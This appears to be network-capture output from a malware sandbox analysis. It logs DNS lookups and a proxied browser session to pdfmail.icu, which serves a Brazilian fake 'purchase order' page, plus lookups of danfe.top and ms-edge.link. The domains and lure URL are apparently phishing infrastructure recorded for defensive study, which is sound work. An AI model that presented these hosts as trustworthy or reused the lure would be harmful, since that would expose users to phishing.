Sep 24, 2024 06:30:10.050127029 CEST	138	138	192.168.2.9	192.168.2.255
Sep 24, 2024 06:30:16.234713078 CEST	58689	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:30:16.410480022 CEST	53	58689	1.1.1.1	192.168.2.9
Sep 24, 2024 06:30:19.976530075 CEST	53	54387	1.1.1.1	192.168.2.9
Sep 24, 2024 06:30:35.062979937 CEST	50607	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:30:35.233314037 CEST	53	50607	1.1.1.1	192.168.2.9
Sep 24, 2024 06:30:42.294030905 CEST	53	49645	1.1.1.1	192.168.2.9
Sep 24, 2024 06:30:42.725945950 CEST	53	64498	1.1.1.1	192.168.2.9
Sep 24, 2024 06:31:10.043473959 CEST	53	57943	1.1.1.1	192.168.2.9
Sep 24, 2024 06:31:13.938400984 CEST	51730	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:31:13.977911949 CEST	53	51730	1.1.1.1	192.168.2.9

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Sep 24, 2024 06:29:46.066838980 CEST	192.168.2.9	1.1.1.1	c27a	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 24, 2024 06:29:42.497345924 CEST	192.168.2.9	1.1.1.1	0xe153	Standard query (0)	pdfmail.icu	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:42.497564077 CEST	192.168.2.9	1.1.1.1	0xdf85	Standard query (0)	pdfmail.icu	65	IN (0x0001)	false
Sep 24, 2024 06:29:42.615509987 CEST	192.168.2.9	1.1.1.1	0xcd9a	Standard query (0)	pdfmail.icu	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:42.615650892 CEST	192.168.2.9	1.1.1.1	0x24d0	Standard query (0)	pdfmail.icu	65	IN (0x0001)	false
Sep 24, 2024 06:29:44.568721056 CEST	192.168.2.9	1.1.1.1	0x3c4d	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:44.569142103 CEST	192.168.2.9	1.1.1.1	0x116b	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Sep 24, 2024 06:29:44.631333113 CEST	192.168.2.9	1.1.1.1	0x4eae	Standard query (0)	i.imgur.com	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:44.631594896 CEST	192.168.2.9	1.1.1.1	0xfd4	Standard query (0)	i.imgur.com	65	IN (0x0001)	false
Sep 24, 2024 06:29:45.590044022 CEST	192.168.2.9	1.1.1.1	0xa920	Standard query (0)	i.imgur.com	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:45.590198994 CEST	192.168.2.9	1.1.1.1	0xd8a8	Standard query (0)	i.imgur.com	65	IN (0x0001)	false
Sep 24, 2024 06:29:45.641046047 CEST	192.168.2.9	1.1.1.1	0x3a9b	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:45.641427994 CEST	192.168.2.9	1.1.1.1	0x3c54	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 24, 2024 06:29:45.641969919 CEST	192.168.2.9	1.1.1.1	0x5436	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:45.642105103 CEST	192.168.2.9	1.1.1.1	0xf2a7	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Sep 24, 2024 06:29:46.034393072 CEST	192.168.2.9	1.1.1.1	0x60d0	Standard query (0)	pdfmail.icu	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:46.034573078 CEST	192.168.2.9	1.1.1.1	0xc45c	Standard query (0)	pdfmail.icu	65	IN (0x0001)	false
Sep 24, 2024 06:29:46.370207071 CEST	192.168.2.9	1.1.1.1	0x2377	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:46.370383024 CEST	192.168.2.9	1.1.1.1	0x637e	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Sep 24, 2024 06:29:46.458470106 CEST	192.168.2.9	1.1.1.1	0xebc1	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:46.458689928 CEST	192.168.2.9	1.1.1.1	0x2a16	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 24, 2024 06:29:46.465226889 CEST	192.168.2.9	1.1.1.1	0x4cb0	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:46.465384960 CEST	192.168.2.9	1.1.1.1	0x9c35	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Sep 24, 2024 06:29:47.119829893 CEST	192.168.2.9	1.1.1.1	0xef5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:47.120408058 CEST	192.168.2.9	1.1.1.1	0x997a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 24, 2024 06:29:48.051208973 CEST	192.168.2.9	1.1.1.1	0x694e	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:48.051343918 CEST	192.168.2.9	1.1.1.1	0x39f4	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Sep 24, 2024 06:29:52.444869995 CEST	192.168.2.9	1.1.1.1	0x52fa	Standard query (0)	danfe.top	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:30:16.234713078 CEST	192.168.2.9	1.1.1.1	0x7c0b	Standard query (0)	danfe.top	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:30:35.062979937 CEST	192.168.2.9	1.1.1.1	0xc471	Standard query (0)	danfe.top	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:31:13.938400984 CEST	192.168.2.9	1.1.1.1	0x65dc	Standard query (0)	ms-edge.link	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 24, 2024 06:29:42.516944885 CEST	1.1.1.1	192.168.2.9	0xdf85	No error (0)	pdfmail.icu			65	IN (0x0001)	false
Sep 24, 2024 06:29:42.519345999 CEST	1.1.1.1	192.168.2.9	0xe153	No error (0)	pdfmail.icu		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:42.519345999 CEST	1.1.1.1	192.168.2.9	0xe153	No error (0)	pdfmail.icu		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:42.622771978 CEST	1.1.1.1	192.168.2.9	0x24d0	No error (0)	pdfmail.icu			65	IN (0x0001)	false
Sep 24, 2024 06:29:42.637645006 CEST	1.1.1.1	192.168.2.9	0xcd9a	No error (0)	pdfmail.icu		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:42.637645006 CEST	1.1.1.1	192.168.2.9	0xcd9a	No error (0)	pdfmail.icu		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:44.575804949 CEST	1.1.1.1	192.168.2.9	0x3c4d	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:44.575804949 CEST	1.1.1.1	192.168.2.9	0x3c4d	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:44.576149940 CEST	1.1.1.1	192.168.2.9	0x116b	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Sep 24, 2024 06:29:44.638303041 CEST	1.1.1.1	192.168.2.9	0x4eae	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 24, 2024 06:29:44.638303041 CEST	1.1.1.1	192.168.2.9	0x4eae	No error (0)	ipv4.imgur.map.fastly.net		199.232.196.193	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:44.638303041 CEST	1.1.1.1	192.168.2.9	0x4eae	No error (0)	ipv4.imgur.map.fastly.net		199.232.192.193	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:44.639741898 CEST	1.1.1.1	192.168.2.9	0xfd4	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 24, 2024 06:29:45.597167969 CEST	1.1.1.1	192.168.2.9	0xd8a8	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 24, 2024 06:29:45.599920988 CEST	1.1.1.1	192.168.2.9	0xa920	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 24, 2024 06:29:45.599920988 CEST	1.1.1.1	192.168.2.9	0xa920	No error (0)	ipv4.imgur.map.fastly.net		199.232.196.193	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:45.599920988 CEST	1.1.1.1	192.168.2.9	0xa920	No error (0)	ipv4.imgur.map.fastly.net		199.232.192.193	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:45.647767067 CEST	1.1.1.1	192.168.2.9	0x3a9b	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:45.647767067 CEST	1.1.1.1	192.168.2.9	0x3a9b	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:45.647767067 CEST	1.1.1.1	192.168.2.9	0x3a9b	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:45.647767067 CEST	1.1.1.1	192.168.2.9	0x3a9b	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:45.648555994 CEST	1.1.1.1	192.168.2.9	0x5436	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 24, 2024 06:29:45.649106026 CEST	1.1.1.1	192.168.2.9	0xf2a7	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 24, 2024 06:29:46.054642916 CEST	1.1.1.1	192.168.2.9	0x60d0	No error (0)	pdfmail.icu		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:46.054642916 CEST	1.1.1.1	192.168.2.9	0x60d0	No error (0)	pdfmail.icu		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:46.066760063 CEST	1.1.1.1	192.168.2.9	0xc45c	No error (0)	pdfmail.icu			65	IN (0x0001)	false
Sep 24, 2024 06:29:46.377741098 CEST	1.1.1.1	192.168.2.9	0x2377	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 24, 2024 06:29:46.377831936 CEST	1.1.1.1	192.168.2.9	0x637e	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 24, 2024 06:29:46.465107918 CEST	1.1.1.1	192.168.2.9	0xebc1	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:46.465107918 CEST	1.1.1.1	192.168.2.9	0xebc1	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:46.465107918 CEST	1.1.1.1	192.168.2.9	0xebc1	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:46.465107918 CEST	1.1.1.1	192.168.2.9	0xebc1	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:46.472152948 CEST	1.1.1.1	192.168.2.9	0x4cb0	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:46.472152948 CEST	1.1.1.1	192.168.2.9	0x4cb0	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:46.472208023 CEST	1.1.1.1	192.168.2.9	0x9c35	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Sep 24, 2024 06:29:47.126476049 CEST	1.1.1.1	192.168.2.9	0xef5	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:47.127187014 CEST	1.1.1.1	192.168.2.9	0x997a	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 24, 2024 06:29:48.057857037 CEST	1.1.1.1	192.168.2.9	0x694e	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:52.880908012 CEST	1.1.1.1	192.168.2.9	0x52fa	No error (0)	danfe.top		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:29:52.880908012 CEST	1.1.1.1	192.168.2.9	0x52fa	No error (0)	danfe.top		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:30:16.410480022 CEST	1.1.1.1	192.168.2.9	0x7c0b	No error (0)	danfe.top		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:30:16.410480022 CEST	1.1.1.1	192.168.2.9	0x7c0b	No error (0)	danfe.top		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:30:35.233314037 CEST	1.1.1.1	192.168.2.9	0xc471	No error (0)	danfe.top		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:30:35.233314037 CEST	1.1.1.1	192.168.2.9	0xc471	No error (0)	danfe.top		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:31:13.977911949 CEST	1.1.1.1	192.168.2.9	0x65dc	No error (0)	ms-edge.link		104.21.7.178	A (IP address)	IN (0x0001)	false
Sep 24, 2024 06:31:13.977911949 CEST	1.1.1.1	192.168.2.9	0x65dc	No error (0)	ms-edge.link		172.67.130.89	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pdfmail.icu

https:

stackpath.bootstrapcdn.com

i.imgur.com

code.jquery.com

slscr.update.microsoft.com

a.nel.cloudflare.com

danfe.top

ms-edge.link

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49715	188.114.97.3	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:43 UTC	683	OUT	GET /arquivo/lista/?=66d1c5cd84e44 HTTP/1.1 Host: pdfmail.icu Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:44 UTC	751	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 04:29:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.28 Set-Cookie: PHPSESSID=ul5kmekspqrsc6keimmvsh4e53; path=/ Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RVoa3iB0ZS6o%2BgQ42jTUkAWWMB1ySWr8KqKPfrwEkujv3MWaml2NkRN43lVYTxaA%2B0PjhqcvW6L%2FYGRv7yDcqwjXKKt5cU4XyD7xRvXSnIYaaJA0GQTaBge3iMH7xg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8c8008fd9928c340-EWR
2024-09-24 04:29:44 UTC	618	IN	Data Raw: 39 63 66 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 62 72 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 45 4d 50 52 45 45 4e 44 49 4d 45 4e 54 4f 53 20 49 4d 4f 42 49 4c 49 41 52 49 4f 53 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 Data Ascii: 9cf<!DOCTYPE html><html lang="pt-br"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="EMPREENDIMENTOS IMOBILIARIOS"> <meta property="og:title
2024-09-24 04:29:44 UTC	1369	IN	Data Raw: 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 69 74 61 6c 2c 77 67 68 74 40 30 2c 31 30 30 3b 30 2c 33 30 30 3b 30 2c 34 30 30 3b 30 2c 37 30 30 3b 30 2c 39 30 30 3b 31 2c 31 30 30 3b 31 2c 33 30 30 3b 31 2c 34 30 30 3b 31 2c 37 30 30 3b 31 2c 39 30 30 26 66 61 6d 69 6c 79 3d 51 75 69 Data Ascii: href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Lato:ital,wght@0,100;0,300;0,400;0,700;0,900;1,100;1,300;1,400;1,700;1,900&family=Qui
2024-09-24 04:29:44 UTC	531	IN	Data Raw: 64 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 28 37 30 2c 31 33 30 2c 31 38 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 67 72 65 65 74 69 6e 67 2c 20 2e 74 69 6d 65 73 74 61 6d 70 20 7b 0d 0a 20 20 20 20 20 Data Ascii: der { text-align: center; margin-bottom: 20px; padding: 15px; background: rgb(70,130,180); color: #ffffff; border-radius: 3px; } .greeting, .timestamp {
2024-09-24 04:29:44 UTC	1369	IN	Data Raw: 31 62 65 61 0d 0a 20 23 66 66 66 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 62 74 6e 2d 73 6f 72 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 74 61 62 6c 65 20 74 68 65 61 64 20 74 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 28 37 30 2c 31 33 30 2c 31 38 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 Data Ascii: 1bea #ffffff; border-radius: 5px; margin-top: 20px; } .btn-sort { margin-bottom: 20px; } .table thead th { background-color: rgb(70,130,180); color: #ff
2024-09-24 04:29:44 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 20 34 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 72 69 67 68 74 2d 69 6d 67 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 Data Ascii: font-size: 16px; text-align: left; float: left; position: relative; z-index: 999; right: 40%; } .right-img { height: 24px; cursor: pointer
2024-09-24 04:29:44 UTC	1369	IN	Data Raw: 53 65 67 75 65 20 61 62 61 69 78 6f 2e 3c 2f 68 32 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 6d 65 73 74 61 6d 70 22 20 69 64 3d 22 74 69 6d 65 73 74 61 6d 70 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 72 69 67 68 74 22 3e 0d 0a 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 68 32 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 72 65 6d 22 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 44 4f 43 55 4d 45 4e 54 4f 20 41 55 58 49 4c 49 41 52 20 44 45 20 43 4f 4d 50 52 41 20 2d 20 50 45 44 49 44 4f 3c 2f 68 32 3e 0d 0a 20 20 20 20 20 Data Ascii: Segue abaixo.</h2> </div> <div class="timestamp" id="timestamp"></div> <div class="text-right"> </div> <h2 style="font-size:1.4rem" class="text-center">DOCUMENTO AUXILIAR DE COMPRA - PEDIDO</h2>
2024-09-24 04:29:44 UTC	1369	IN	Data Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 64 3e 34 3c 2f 74 64 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 64 3e 46 65 63 68 61 64 75 72 61 20 45 6c 65 74 72 6f 6e 69 63 61 20 44 69 67 69 74 61 6c 20 42 69 6f 6d 65 74 72 69 63 61 20 54 6f 75 63 68 20 4b 75 61 6e 74 74 75 6d 20 44 65 6c 74 61 3c 2f 74 64 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 74 72 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 72 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: > <td>4</td> <td>Fechadura Eletronica Digital Biometrica Touch Kuanttum Delta</td> </tr> <tr>
2024-09-24 04:29:44 UTC	1369	IN	Data Raw: 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 75 70 64 61 74 65 54 69 6d 65 73 74 61 6d 70 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 6f 70 74 69 6f 6e 73 20 3d 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 65 65 6b 64 61 79 3a 20 27 6c 6f 6e 67 27 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 79 65 61 72 3a 20 27 6e 75 6d 65 72 69 63 27 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 6f 6e 74 68 3a 20 27 6c 6f 6e 67 27 2c 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: otstrap.min.js"></script> <script> function updateTimestamp() { const now = new Date(); const options = { weekday: 'long', year: 'numeric', month: 'long',
2024-09-24 04:29:44 UTC	309	IN	Data Raw: 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 67 72 65 65 74 69 6e 67 20 68 32 27 29 2e 69 6e 6e 65 72 54 65 78 74 20 3d 20 67 65 74 47 72 65 65 74 69 6e 67 28 29 20 2b 20 27 21 20 53 65 67 75 65 20 61 62 61 69 78 6f 2e 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 75 70 64 61 74 65 54 69 6d 65 73 74 61 6d 70 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 49 6e 74 65 72 76 61 6c 28 75 70 64 61 74 65 54 69 6d 65 73 74 61 6d 70 2c 20 Data Ascii: } document.addEventListener('DOMContentLoaded', function() { document.querySelector('.greeting h2').innerText = getGreeting() + '! Segue abaixo.'; updateTimestamp(); setInterval(updateTimestamp,
2024-09-24 04:29:44 UTC	7	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a Data Ascii: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49719	104.18.10.207	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
